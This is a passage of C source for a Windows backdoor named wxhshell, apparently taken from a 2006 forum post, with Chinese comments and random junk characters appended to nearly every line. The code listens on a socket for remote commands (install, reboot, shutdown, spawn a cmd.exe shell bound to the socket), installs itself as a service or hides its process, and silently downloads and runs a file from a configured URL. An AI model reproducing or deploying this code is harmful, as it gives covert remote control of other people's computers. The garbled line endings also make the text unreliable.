  } uVzvUz{b  
  else { P u,JR  
WdTia o,r  
    switch(cmd[0]) { *^p^tK  
  Vv*](iM  
  // 帮助 8]l(D  
  case '?': { "?s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oN=>U"<\1  
    break; hfRxZ>O2  
  } ]Tn""3#1g  
  // 安装 B[;aNyd<  
  case 'i': { SF[}s uL  
    if(Install()) f_ |=EQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8]xYE19=  
    else c6MMI]+8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  x]~&4fp  
    break; o}y(T07n  
    } sQLjb8!7  
  // 卸载 2X0<-Y#'  
  case 'r': { r)[Xzn   
    if(Uninstall()) Uh3N#O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-f-/$B  
    else .:B;%*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NPLJ*uHH  
    break; TECp!`)j"  
    } |eP5iy wg  
  // 显示 wxhshell 所在路径 FR6 PY  
  case 'p': { @J<RFgw#  
    char svExeFile[MAX_PATH]; &L r~x#Wx  
    strcpy(svExeFile,"\n\r"); b$>1_wTL  
      strcat(svExeFile,ExeFile); Lm'+z97  
        send(wsh,svExeFile,strlen(svExeFile),0); oh,29Gg  
    break; FA}y"I'W  
    } %(:{TR  
  // 重启 o8N,mGj}  
  case 'b': { x,TnYqT^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B9S@G{`  
    if(Boot(REBOOT)) 'm.+S8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dao=2JB{  
    else {  !xEGN@  
    closesocket(wsh); }z-6,i)'k  
    ExitThread(0); ?{wD%58^oG  
    } ?vmoRX  
    break; ;e6- *  
    } __`6 W1  
  // 关机 S%df'bh$  
  case 'd': { q5\iQ2f{WV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #E#Fk3-ljQ  
    if(Boot(SHUTDOWN)) Nu@dMG<5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | &/_{T  
    else { e;9x%kNs!  
    closesocket(wsh); Mt&n|']`8  
    ExitThread(0); @nIoIz D~  
    } 8+8L'Yv;  
    break; z+<ofZ(.  
    } {pC$jd>T  
  // 获取shell O6Y1*XTmH6  
  case 's': { TEi1,yc  
    CmdShell(wsh); ?b\oM v5y  
    closesocket(wsh); Z=(Tq1t  
    ExitThread(0); qI*7ToBJ  
    break; 0e(4+:0  
  } iKG,"  
  // 退出 xMFEeSzl>S  
  case 'x': { sCE%./h]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g1)ZjABV  
    CloseIt(wsh); ~%@1-  
    break; FA{(gib@9  
    } $.zd,}l@L  
  // 离开 D&G^|: G  
  case 'q': { 9hjzOJPuga  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zm6|aHx8v  
    closesocket(wsh); +g_m|LF  
    WSACleanup();  7MQxW<0  
    exit(1); b;5 M$  
    break; !1Nh`FN  
        } r(JP& @  
  } '~zi~Q7M  
  } q2*1Gn9!j  
$J#Z`%B^y  
  // 提示信息 ,@\z{}~v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e<+b?@}=B  
} -?NAA]P5c@  
  } \s7/`  
/4KHf3Nr  
  return; &FWz7O>1  
} DC0O N`  
?*'0;K13  
// shell模块句柄 K?>sP%m)  
int CmdShell(SOCKET sock) 9(lcQuE9  
{ RV%)~S@!R  
STARTUPINFO si; sW76RKX8  
ZeroMemory(&si,sizeof(si)); ? 0+N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; svtqX-Vj"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?%$~Bb _  
PROCESS_INFORMATION ProcessInfo; ~Gl5O`w(  
char cmdline[]="cmd"; FT!Xr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :"cKxd  
  return 0; 8y;gs1d;A  
} iqKs:v@+x  
_%(.OR  
// 自身启动模式 *0'< DnGW  
int StartFromService(void) yJMo/!DZ  
{ GU]kgwSf i  
typedef struct <,Mf[R2N>  
{ L.8`5<ITw  
  DWORD ExitStatus; uw(Ml=  
  DWORD PebBaseAddress; Gh 352  
  DWORD AffinityMask; 3gtKD9RL:  
  DWORD BasePriority; -B#K}xL|x  
  ULONG UniqueProcessId; 1 ]ePU8  
  ULONG InheritedFromUniqueProcessId; &a)d,4e<M  
}   PROCESS_BASIC_INFORMATION; +'_ peT.8  
,\N4tG1\  
PROCNTQSIP NtQueryInformationProcess; MHJRBn{}  
O+]'*~a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1C0' Gf)3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XW~a4If  
LMuDda  
  HANDLE             hProcess; ]~ !CJ8d  
  PROCESS_BASIC_INFORMATION pbi; 5F#FC89Kk  
yT[=!M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a*uG^~ ).  
  if(NULL == hInst ) return 0; \UZ7_\  
@76I8r5l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zx@L sp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c/V0AKkS 8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rln\  
syCT)}T6z  
  if (!NtQueryInformationProcess) return 0; Rw hKW?r+  
1fC)&4W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IkO [R1K  
  if(!hProcess) return 0; <k {_YRB  
HVK0NI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )TEod!]  
>E3-/)Ti  
  CloseHandle(hProcess); ppGWh  
@FF80U4'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `qRyh}Ax"  
if(hProcess==NULL) return 0; _-2n tO<E  
5&xbGEP$  
HMODULE hMod; M{SJ8+G  
char procName[255]; ]dgi]R|`  
unsigned long cbNeeded; + WT?p]  
VCwC$ts  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yv0y8Vz@  
?Ezy0>j  
  CloseHandle(hProcess); wN^^_  
Ao#bREm  
if(strstr(procName,"services")) return 1; // 以服务启动 { SDnVV  
mP's4  
  return 0; // 注册表启动 |9X2AS Qu  
} `?SC.KT  
DuLl"w\_@  
// 主模块 N1 sdWXG  
int StartWxhshell(LPSTR lpCmdLine) W }v ,6Oe  
{ HZ1nuA  
  SOCKET wsl; MhJA8| B6|  
BOOL val=TRUE; 5sNN:m  
  int port=0; "c.-`1,t  
  struct sockaddr_in door; |~&cTDd  
hBV m; `  
  if(wscfg.ws_autoins) Install(); pl$wy}W-  
$wDSED -  
port=atoi(lpCmdLine); |*M07Hc x  
9e.$x%7j  
if(port<=0) port=wscfg.ws_port; ^%tn$4@@Z.  
%e)? Mem  
  WSADATA data; 5\h6'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yXqC  
XVb9)a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L-9;"]d~|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +ej5C:El_}  
  door.sin_family = AF_INET; z ?F`)}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?@kz`BY  
  door.sin_port = htons(port); I!SIy&=W  
xM@s`s|n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y0J:c?,  
closesocket(wsl); +SW|/oIU  
return 1; MWK)Bn  
} l/"!}wF  
&N]e pV>  
  if(listen(wsl,2) == INVALID_SOCKET) { %~kE,^  
closesocket(wsl); YY(_g|;?8  
return 1; 9c[bhGD?  
} 53d`+an2  
  Wxhshell(wsl); Cl3L)  
  WSACleanup(); Br.UN~q  
V<?0(esgR  
return 0; |WSpWsr,  
RCoDdtMo  
} At !:d3  
,H8M.hbsQ  
// 以NT服务方式启动 ii>^]iT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /I{K_G@  
{ .v+ W>  
DWORD   status = 0; dBS_N/  
  DWORD   specificError = 0xfffffff; ] SLeWs  
AEDBr<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6y57m;JW/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;C=V -r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eW8{ ],B  
  serviceStatus.dwWin32ExitCode     = 0; 2aX$7E?  
  serviceStatus.dwServiceSpecificExitCode = 0; g3^:)$m  
  serviceStatus.dwCheckPoint       = 0; `Q#)N0  
  serviceStatus.dwWaitHint       = 0; NeP  
+XW1,ly~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ynZEJKo  
  if (hServiceStatusHandle==0) return; &9z&#`AY]>  
eu~ u-}.  
status = GetLastError(); ~%eE%5!k  
  if (status!=NO_ERROR) ZS=;)  
{ q&_\A0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [_(uz,'  
    serviceStatus.dwCheckPoint       = 0; BUV4L5(  
    serviceStatus.dwWaitHint       = 0; % 4t?X  
    serviceStatus.dwWin32ExitCode     = status; N U+PG`Vb  
    serviceStatus.dwServiceSpecificExitCode = specificError; y>#kT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \I^"^'CP  
    return; y7+n*|H  
  } D:?"Rf{)  
!%DE(E*'(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _n{_\/A6f  
  serviceStatus.dwCheckPoint       = 0; fY?:SPR+  
  serviceStatus.dwWaitHint       = 0; EyA(W;r.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qR_Np5nHF  
} }Kp$/CYd  
bg_io*K  
// 处理NT服务事件,比如:启动、停止 Iza;~8dH5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SGba6b31  
{ {P\Ob0)q  
switch(fdwControl) 7/_|/4&  
{ ;!lwB  
case SERVICE_CONTROL_STOP: bv7xh*/  
  serviceStatus.dwWin32ExitCode = 0; '.8eLN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1?3+>  
  serviceStatus.dwCheckPoint   = 0; #W l^!)#j?  
  serviceStatus.dwWaitHint     = 0; %_CL/H   
  { .Cs'@[Ciy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qh6 vH9(D  
  } "gzn%k[D9m  
  return; vu}U2 0@  
case SERVICE_CONTROL_PAUSE: !0UfX{.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1zw,;m n  
  break; tFX<"cAvK  
case SERVICE_CONTROL_CONTINUE: #3eI4KJ4+l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E>gLUMG$  
  break; A7&/3C6{H  
case SERVICE_CONTROL_INTERROGATE: ( ]0F3@k#s  
  break; vb]uO ' l  
}; W(?J,8>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2"j&_$#l5X  
} i,% N#  
Pgq(yPC  
// 标准应用程序主函数 2 e#"JZ=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l0qHoM,1Y[  
{ rc7c$3#X  
=|dm#w_L"  
// 获取操作系统版本 6#Y]^%?uy  
OsIsNt=GetOsVer(); < <Y]P+uU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lw?C:-m  
%[ *+  
  // 从命令行安装 (~! @Uz5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7;C~>WlU  
3RxR'M1  
  // 下载执行文件 fCnwDT  
if(wscfg.ws_downexe) { zV;NRf) 9.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nD)SR  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y5B! *+h  
} k6Vs#K7a  
8wZ $Hq  
if(!OsIsNt) { Ol<LL#<j4  
// 如果时win9x,隐藏进程并且设置为注册表启动 9&<c)sS&B  
HideProc(); B<h4ZK%  
StartWxhshell(lpCmdLine); (!0_s48f  
} *UJB *r  
else 45iO2W uur  
  if(StartFromService()) !=yO72dgLY  
  // 以服务方式启动 )te_ <W  
  StartServiceCtrlDispatcher(DispatchTable); 0}'/pN>  
else !U(KQ:j  
  // 普通方式启动 K|6}g7&X  
  StartWxhshell(lpCmdLine); xG Y!r"[  
B6\/xKmv?8  
return 0; S$R=!3* "V  
}
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只看该作者 1 发表于: 2006-10-10
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